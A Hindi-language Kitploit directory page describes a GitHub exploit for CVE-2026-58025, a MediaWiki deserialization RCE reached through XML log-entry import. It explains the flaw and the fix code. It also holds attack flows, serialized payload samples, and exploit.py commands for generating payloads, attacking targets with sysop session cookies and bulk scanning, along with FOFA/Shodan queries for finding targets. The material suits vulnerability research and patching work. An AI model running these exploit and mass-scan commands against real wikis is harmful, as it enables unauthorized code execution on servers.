Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-58025 — CVE-2026-58025 — MediaWiki डिसीरियलाइज़ेशन RCE लॉग एंट्री इम्पोर्ट के माध्यम से। LogEntryBase::extractParams() उपयोगकर्ता-नियंत्रित log_params को unserialize() करता है। CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0 | Kitploit
उपकरण/GitHubGitHub/shinthink/cve-2026-58025
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubshinthink/cve-2026-58025

CVE-2026-58025

CVE-2026-58025 — MediaWiki डिसीरियलाइज़ेशन RCE लॉग एंट्री इम्पोर्ट के माध्यम से। LogEntryBase::extractParams() उपयोगकर्ता-नियंत्रित log_params को unserialize() करता है। CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0

रिपॉजिटरी देखें
41461 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-58025 — MediaWiki PHP डिसीरियलाइज़ेशन RCE, लॉग एंट्री इम्पोर्ट के माध्यम से

WikiImporter → LogEntryBase::extractParams() → unserialize() उपयोगकर्ता-नियंत्रित log_params → RCE


अवलोकन

CVE-2026-58025 MediaWiki (विकिमीडिया फ़ाउंडेशन) में अविश्वसनीय डेटा के डिसीरियलाइज़ेशन (deserialization) से संबंधित एक गंभीर (CVSS 9.8) भेद्यता है। LogEntryBase::extractParams() मेथड, उपयोगकर्ता-नियंत्रित लॉग एंट्री पैरामीटरों पर बिना यह प्रतिबंध लगाए कि कौन सी PHP क्लासेस इंस्टैंशिएट हो सकती हैं, को कॉल करती थी। या अधिकार (डिफ़ॉल्ट: समूह) रखने वाला हमलावर फ़ील्ड में सीरियलाइज़्ड PHP ऑब्जेक्ट युक्त एक दुर्भावनापूर्ण XML इम्पोर्ट फ़ाइल तैयार कर सकता था, जिससे मनमाना ऑब्जेक्ट इंस्टैंशिएशन और गैजेट चेन के माध्यम से संभावित रिमोट कोड एक्ज़ीक्यूशन (RCE) ट्रिगर हो सकता था।

unserialize()
importupload
import
sysop
<params>

प्रभावित संस्करण

संस्करण शाखाअसुरक्षितपैच किया गया
1.43.x< 1.43.91.43.9
1.44.x< 1.44.61.44.6
1.45.x< 1.45.41.45.4
1.46.x< 1.46.01.46.0

आवश्यकताएँ: import या importupload अधिकार (डिफ़ॉल्ट: sysop समूह)। हमलावर को MediaWiki के Special:Import में XML फ़ाइल अपलोड या इम्पोर्ट करने में सक्षम होना चाहिए।


भेद्यता तंत्र

मूल कारण

includes/Logging/LogEntryBase.php में LogEntryBase::extractParams() मेथड, log_params ब्लॉब पर बिना किसी क्लास प्रतिबंध के सीधे unserialize() को कॉल करती थी:

root@kitploit:~
// includes/Logging/LogEntryBase.php (फिक्स से पहले)
public static function extractParams( $blob ) {
    return unserialize( $blob );  // ← उपयोगकर्ता-नियंत्रित, कोई allowed_classes प्रतिबंध नहीं
}

यह मेथड कई स्थानों से कॉल की जाती है:

फ़ाइलपंक्तिसंदर्भ
includes/Logging/DatabaseLogEntry.php187getParameters() — DB से लॉग एंट्री पढ़ना
includes/RecentChanges/RecentChange.php781parseParams() — हाल के बदलावों का विश्लेषण
includes/Import/WikiRevision.php638importLogItem() — XML से लॉग एंट्री इम्पोर्ट करना
maintenance/purgeChangedFiles.php182मेंटेनेंस स्क्रिप्ट लॉग पार्सिंग
tests/phpunit/maintenance/DumpAsserter.php541टेस्ट सहायक

हमला वेक्टर

प्राथमिक हमला वेक्टर Special:Import के माध्यम से XML इम्पोर्ट है:

  1. हमलावर (import/importupload अधिकार के साथ) एक दुर्भावनापूर्ण MediaWiki XML एक्सपोर्ट फ़ाइल तैयार करता है
  2. XML में एक <logitem> एलिमेंट होता है जिसमें PHP सीरियलाइज़्ड पेलोड युक्त <params> फ़ील्ड होती है
  3. WikiImporter::processLogItem() → WikiRevision::importLogItem() लॉग एंट्री को स्टोर करता है
  4. जब लॉग एंट्री बाद में पढ़ी जाती है (DatabaseLogEntry::getParameters(), RecentChange::parseParams(), या लॉग डिस्प्ले के माध्यम से), LogEntryBase::extractParams() हमलावर-नियंत्रित ब्लॉब पर unserialize() को कॉल करता है
  5. यदि कोई उपयुक्त गैजेट चेन मौजूद है (इंस्टॉल किए गए एक्सटेंशन/वेंडर लाइब्रेरीज़ के माध्यम से), यह RCE की ओर ले जाता है

हमले का प्रवाह

root@kitploit:~
POST /wiki/Special:Import
  Content-Type: multipart/form-data
  action=submit
  xmlimportfile=<malicious.xml>
  source=file
  catname=
  prefix=
  loginComment=

malicious.xml:
  <mediawiki ...>
    <logitem>
      <type>test</type>
      <action>test</action>
      <params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
    </logitem>
  </mediawiki>

→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → DB में स्टोर करता है
→ बाद में: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP GadgetClass ऑब्जेक्ट इंस्टैंशिएट करता है → __wakeup() / __destruct() गैजेट चेन
→ www-data के रूप में RCE

सीरियलाइज़्ड पेलोड प्रारूप

XML इम्पोर्ट में <params> फ़ील्ड मानक PHP सीरियलाइज़्ड स्ट्रिंग्स स्वीकार करती है। एक सुरक्षित (सौम्य) एंट्री:

root@kitploit:~
a:1:{s:3:"foo";s:3:"bar";}

सीरियलाइज़्ड ऑब्जेक्ट युक्त एक दुर्भावनापूर्ण एंट्री:

root@kitploit:~
a:1:{s:3:"foo";O:8:"stdClass":0:{}}

जब unserialize() को बिना allowed_classes प्रतिबंध के कॉल किया जाता है, तो ऑब्जेक्ट पूरी तरह इंस्टैंशिएट हो जाता है। उपलब्ध गैजेट चेन (जैसे, Composer-इंस्टॉल्ड लाइब्रेरीज़ से) के साथ, यह RCE बन जाता है।


समाधान (फिक्स)

कमिट: 60f154d4618063ac4d5832285fc246b8fcd7c72c लेखक: Bartosz Dziewoński दिनांक: 2026-06-29

फिक्स रक्षा की कई परतों को लागू करता है:

1. allowed_classes के साथ प्रतिबंधित unserialize()

root@kitploit:~
// includes/Logging/LogEntryBase.php (फिक्स के बाद)
public static function extractParams( $blob, ?string $logType = null ) {
    $attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
    if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
        $allowedClasses = $attribute[$logType];
    } else {
        $allowedClasses = false;  // कोई क्लास अनुमत नहीं
    }
    $result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
    if ( $result !== false && !is_array( $result ) ) {
        return false;
    }
    return $result;
}

2. नया containsUnsafeParams() चेक

__PHP_Incomplete_Class इंस्टेंस (वे ऑब्जेक्ट जिन्हें allowed_classes द्वारा अवरुद्ध किया गया था) का पता लगाता है:

root@kitploit:~
public static function containsUnsafeParams( array $params ): bool {
    $result = false;
    $params = [ $params ];
    array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
        if ( $val instanceof \__PHP_Incomplete_Class ) {
            $result = true;
        }
    } );
    return $result;
}

3. इम्पोर्ट गेट — WikiImporter::processLogItem()

नया logentryimport अनुमति चेक (डिफ़ॉल्ट रूप से किसी को नहीं दिया गया):

root@kitploit:~
private function processLogItem( $logInfo ) {
    if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
        $this->notice( 'permissionserrorstext-withaction-noreason', ... );
        return false;
    }
    // ...
}

4. WikiRevision::importLogItem() — असुरक्षित पैरामीटर अस्वीकृति

root@kitploit:~
if ( LogEntryBase::containsUnsafeParams(
    LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
    wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
    return false;
}

5. UnsafeLogFormatter — मौजूदा दुर्भावनापूर्ण एंट्रीज़ का सुरक्षित प्रदर्शन

नई UnsafeLogFormatter क्लास, अवरुद्ध ऑब्जेक्ट युक्त एंट्रीज़ के लिए सामान्य फ़ॉर्मेटर को बदल देती है, और खतरनाक डेटा को फ़ॉर्मेट करने का प्रयास करने के बजाय एक प्लेसहोल्डर संदेश प्रदर्शित करती है।

6. संबंधित फिक्स: CVE-2026-58037

उसी शोध (T422244) ने यह भी पहचाना कि LogFormatter के raw पैरामीटर प्रकार ने उपयोगकर्ता-नियंत्रित लॉग पैरामीटरों से कच्चे HTML आउटपुट की अनुमति दी थी। इसे साथी कमिट में Message::rawParam() को Message::plaintextParam() में बदलकर ठीक किया गया।


PoC (प्रूफ ऑफ कॉन्सेप्ट)

शामिल exploit.py लॉग एंट्री पैरामीटरों में सीरियलाइज़्ड PHP ऑब्जेक्ट युक्त एक दुर्भावनापूर्ण MediaWiki XML इम्पोर्ट फ़ाइल उत्पन्न करता है। यह MediaWiki इंस्टेंस की फ़िंगरप्रिंटिंग भी कर सकता है और API के माध्यम से इम्पोर्ट का प्रयास भी कर सकता है।

root@kitploit:~
# दुर्भावनापूर्ण XML पेलोड जनरेट करें
python exploit.py --generate --output payload.xml

# टारगेट की फ़िंगरप्रिंटिंग करें
python exploit.py -u https://target.com --check

# पूर्ण एक्सप्लॉइट (sysop उपयोगकर्ता के लिए मान्य सेशन कुकीज़ आवश्यक)
python exploit.py -u https://target.com -c "session_cookies_here"

इंस्टॉलेशन

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests

उपयोग

root@kitploit:~
# दुर्भावनापूर्ण XML इम्पोर्ट फ़ाइल जनरेट करें
python exploit.py --generate --output payload.xml

# MediaWiki संस्करण की फ़िंगरप्रिंटिंग करें
python exploit.py -u https://target.com --check

# Special:Import के माध्यम से दुर्भावनापूर्ण XML अपलोड करें (sysop सेशन आवश्यक)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"

# बल्क चेक
python exploit.py -f targets.txt --check -o results.txt

FOFA / Shodan

root@kitploit:~
FOFA:   body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"

संदर्भ

  • NVD CVE-2026-58025
  • Phabricator T422244
  • फिक्स कमिट (1.43 शाखा) — SECURITY: Safely unserialize log entry parameters
  • संबंधित फिक्स: CVE-2026-58037 — LogFormatter: 'raw' parameter format is no longer raw HTML
  • MediaWiki 1.43.9 रिलीज़ नोट्स
  • OSV CVE-2026-58025
  • CWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन
  • CWE-94: कोड जनरेशन का अनुचित नियंत्रण

अस्वीकरण

यह एक्सप्लॉइट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए प्रदान किया गया है। स्वामी से स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इसका उपयोग न करें।

टूल डाउनलोड करें